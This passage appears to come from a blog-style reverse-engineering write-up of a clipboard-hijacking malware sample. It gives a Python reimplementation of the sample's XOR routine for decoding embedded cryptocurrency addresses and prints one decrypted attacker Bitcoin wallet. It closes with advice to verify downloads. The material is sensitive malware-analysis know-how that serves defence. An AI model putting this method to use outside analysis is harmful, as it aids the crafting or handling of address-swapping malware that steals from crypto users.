xmmword_1400032E0 is the decryption key: pictures/xmmword_1400032E0.png xmmword_1400031A0 and xmmword_1400031B0 are the two 16-byte parts of the encrypted Bitcoin address: pictures/xmmword2.png aVxDC is the additional 10 bytes XORed with 0x15: pictures/aVxDC.png

I reimplemented the decryption function used to decode the embedded addresses in Python:

def decrypt_address(encrypted_data_hex, xor_key, extra_bytes_hex):
    encrypted_data = bytes.fromhex(encrypted_data_hex.replace(' ', ''))
    decryption_key = bytes([0x15] * 16)
    part1 = bytes([encrypted_data[i] ^ decryption_key[i] for i in range(16)])
    part2 = bytes([encrypted_data[16 + i] ^ decryption_key[i] for i in range(16)])    
    decrypted = part1 + part2

    if extra_bytes_hex:
        extra_bytes = bytes.fromhex(extra_bytes_hex.replace(' ', ''))
        decrypted_extra = bytes([b ^ xor_key for b in extra_bytes])
        decrypted += decrypted_extra
    
    return decrypted.decode('ascii', errors='ignore').rstrip('\x00')


# xmmword_1400031A0 and xmmword_1400031B0
bc1_part1 = "77 76 24 64 67 6F 7D 22 71 25 6C 6C 2D 76 26 74"
bc1_part2 = "67 64 6D 76 27 26 61 62 7E 7F 60 7F 6D 6D 74 6D"

# Additional 10 bytes
extra_bc1 = "76 78 25 2D 60 64 7D 23 25 63"

bc1_address = decrypt_address(
    bc1_part1 + bc1_part2,
    xor_key=0x15,
    extra_bytes_hex=extra_bc1
)

print(f"Decrypted address: {bc1_address}")

And running this script produces the Bitcoin address:

Decrypted address: bc1qrzh7d0yy8c3arqxc23twkjujxxaxcm08uqh60v

Running the decryption script on all embedded addresses reveals the attacker’s wallets:

Conclusion

All addresses mentioned in the Hacker News discussion were identified, except the Solana address, which was not previously documented. I checked all wallets, they’re all empty!

A user mentioned in the comments:

“the only way this virus can work is if the victim is on windows, doesn’t know how torrents work, trades crypto currencies, and has a wallet address in their clipboard that they are conveniently about to send money to”

That probably sums it up well.

Anyway, this concludes the analysis of this clipboard hijacker malware, the final conclusion is: check signatures and hashes of any executables you download from torrent sites, and never copy-paste cryptocurrency addresses from untrusted sources!